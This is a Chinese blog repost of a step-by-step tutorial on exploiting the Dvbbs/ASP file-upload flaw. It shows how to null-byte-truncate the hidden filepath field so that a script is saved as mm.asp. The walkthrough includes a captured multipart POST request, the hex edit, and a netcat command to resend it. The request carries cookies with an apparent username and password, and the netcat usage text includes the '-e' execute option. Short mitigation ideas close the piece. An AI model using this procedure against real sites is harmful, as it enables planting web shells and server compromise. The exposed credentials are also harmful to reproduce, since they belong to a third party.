专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » php上传漏洞:PHP和ASP上传漏洞探究 »正文

php上传漏洞:PHP和ASP上传漏洞探究

来源: 发布时间:星期六, 2009年9月12日 浏览:26次 评论:0
PHP和ASP上传漏洞探究

1 传漏洞利用原理只是针对form格式上传asp和php脚本***
nc(netcat)

用于提交数据包

dos界面下运行:

nc -vv www.***.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送数据包 (更多使用思路方法请查看本区帖子)

wse(wsockexpert) 对本机端口监视,抓取ie提交数据包

2 漏洞原理

下面例子假设前提

www主机: www.***.com;

bbs路径 : /bbs/

漏洞源于对动网上传文件研究,建议有定编程经验看看dvbbsupfile.asp文件,没有必要全部看懂upfile是通过生成个form表上传,如下

<form name="form" method="post" action="upfile.asp" ...>

<input type="hidden" name="filepath" value="uploadface">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="submit" value="上传" ...></form>
用到变量::

filepath 默认值uploadface 属性hiden

act 默认值upload 属性hiden

file1 就是你要传那个文件

关键是 filepath 这个变量!

默认情况下我们文件上传到www.***.com/bbs/uploadface/

文件是用你上传时间命名,就是upfile里

filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext

--------------------------------------

我们知道计算机里面数据是""为标致用过c语言都知道:char data="bbs" 这个data长度是4: b b s

如果我们构造filepath如下,会如何样呢?

filepath="/mm.asp"

我们在2004.09.24.08.24传文件就会发生变化没有改时:: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造filepath时:_blank>http://www.***.com/mm.asp/200409240824.jpg

这样当服务器接收filepath数据时,检测到mm.asp后面就理解为filepath数据就结束了这样我们上传文件,比如c:.asp 就保存成: _blank>http://www.***.com/mm.asp

3 后期补充

漏洞公布以后很多网站WebSite做了相应处理,但是对于filepath过滤和处理都不行有很多网站WebSite只是加了n个hiden属性变量对付网上公布 upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵)...但是最基本没改啊而且很对网站WebSite插件里有类似漏洞,我要说不要依赖哪些专门工具自己改wse抓到包里filepath变量,然后在用nc提交就算他加n个hiden变量也于事无补当然, 如果对filepath做了很严格过滤话我们这些理论就将宣告终结就是我们新理论诞生时候!

4 详细例子

、wse抓包结果(存到1.txt里):
 

post /bbs/upphoto/upfile.asp http/1.1

accept: image/g, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpo, application/msword, */*

referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp

accept-language: zh-cn

content-type: multipart/form-data;

boundary=-----------7d423a138d0278

accept-encoding: gzip, deflate

user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)

host: _blank>www.xin126.com

content-length: 1969

connection: keep-alive

cache-control: no-cache

cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;

iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;

username=szjwwwww; pass=5211314; dl=0; userid=62;

ltstyle=0; logry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

../medias/myphoto/

-----------------------------7d423a138d0278

... ...


上传

---------------7d423a138d0278-----------------

2、ultraedit打开1.txt改数据:
 
......

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

/mm.asp <=这个黑色代表个空格是 0x20,改成0x00就可以了

......
3、重新计算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: >16位表示:0x00或者00h

其实你改时候就直接再filepath结尾处加个00就ok了

计算cookies长度=>你把fillepath改了的后、肯定是或+或—cookies长度变了

----------------------------
......

host: _blank>www.xin126.com

content-length: 1969 <就是这个

connection: keep-alive

cache-control: no-cache

......
计算会吧?个字母、数字就是1

对于上传漏洞提出解决思路:(仅供参考)

1、上传是把上传路径作为个变量来处理

=>我们对策就是把filepath变成常量

这个思路方法是目前最有效(我认为)

2、加强对于处理,原来我们是读到这里就结束

我们继续读直道下个变量开始地方处理就ok了

附:NC Usage:

监听外部主机

nc [-options] hostname port[s] [ports] ...

监听本地主机

nc -l -p port [options] [hostname] [port]

options:

-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop po[s], up to 8

-g num source-routing poer: 4, 8, 12, ...

-h this cruft

-i secs delay erval for lines sent, ports scanned

-l listen mode, for inbound connects

-l listen harder, re-listen _disibledevent=>
  • 篇文章: 推荐:JS脚本加密思路方法

  • 篇文章: 在PHP中全面阻止SQL注入式攻击的
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: